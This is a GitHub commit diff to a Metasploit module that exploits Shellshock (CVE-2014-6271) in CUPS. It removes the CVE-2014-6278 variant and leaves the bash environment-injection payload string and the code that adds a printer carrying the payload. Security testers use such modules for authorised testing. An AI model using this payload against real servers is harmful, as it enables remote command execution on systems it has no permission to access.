Skip to content

Commit 78b199f

Browse files
committed
1 parent a060fec commit 78b199f

File tree

1 file changed

+1
-18
lines changed

1 file changed

+1
-18
lines changed

modules/exploits/multi/http/cups_bash_env_exec.rb

Lines changed: 1 addition & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@ def initialize(info = {})
1919
},
2020
'Author' => [
2121
'Stephane Chazelas', # Vulnerability discovery
22-
'lcamtuf', # CVE-2014-6278
2322
'Brendan Coles <bcoles[at]gmail.com>' # msf
2423
],
2524
'References' => [
@@ -54,7 +53,6 @@ def initialize(info = {})
5453
OptBool.new('SSL', [ true, 'Use SSL', true ]),
5554
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
5655
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
57-
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
5856
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
5957
], self.class)
6058
end
@@ -66,13 +64,6 @@ def cve_2014_6271(cmd)
6664
%{() { :;}; $(#{cmd}) & }
6765
end
6866

69-
#
70-
# CVE-2014-6278
71-
#
72-
def cve_2014_6278(cmd)
73-
%{() { _; } >_[$($())] { $(#{cmd}) & }}
74-
end
75-
7667
#
7768
# Check credentials
7869
#
@@ -107,17 +98,9 @@ def exploit
10798
@cookie = rand_text_alphanumeric(16)
10899
printer_name = rand_text_alphanumeric(10 + rand(5))
109100

110-
# Select target CVE
111-
case datastore['CVE']
112-
when 'CVE-2014-6278'
113-
cmd = cve_2014_6278(payload.raw)
114-
else
115-
cmd = cve_2014_6271(payload.raw)
116-
end
117-
118101
# Add a printer containing the payload
119102
# with a CUPS filter pointing to /bin/bash
120-
res = add_printer(printer_name, cmd)
103+
res = add_printer(printer_name, cve_2014_6271(payload.raw))
121104
if !res
122105
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
123106
elsif res.body =~ /Set Default Options for #{printer_name}/

0 commit comments

Comments
 (0)